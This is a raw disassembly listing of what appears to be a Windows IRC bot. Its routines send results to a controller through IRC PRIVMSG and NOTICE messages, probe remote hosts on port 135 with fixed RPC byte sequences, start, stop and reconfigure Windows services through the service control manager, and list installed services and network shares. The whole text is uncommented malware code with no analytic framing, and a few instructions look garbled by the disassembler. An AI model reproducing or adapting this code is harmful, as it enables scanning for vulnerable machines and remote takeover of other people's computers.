		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E


loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al


loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax


loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax


loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43F6A8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43F6B8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------


loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43F700
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		call	near ptr 25F0439h
		nop

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4


loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------


loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------


loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43F65C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 2630313h
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43F550
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2630313h
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------


loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43F5B8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43F558
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43F5BC


loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2630313h
		mov	ebx, eax


loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43F56C


loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43F56C
		pop	esi


loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump


loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------


loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172B0
		add	esp, 0Ch


loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43F65C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43F628
		test	eax, eax
		jnz	short loc_40DA25
		nop
		call	near ptr 2630313h
		cmp	eax, 0EAh
		jnz	loc_40DAD9


loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]


loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"


loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36


loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB


loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43F56C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax


loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch


loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30


loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_443F34, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_443F34, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_443CD4, eax


loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------


loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43F55C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"


loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi


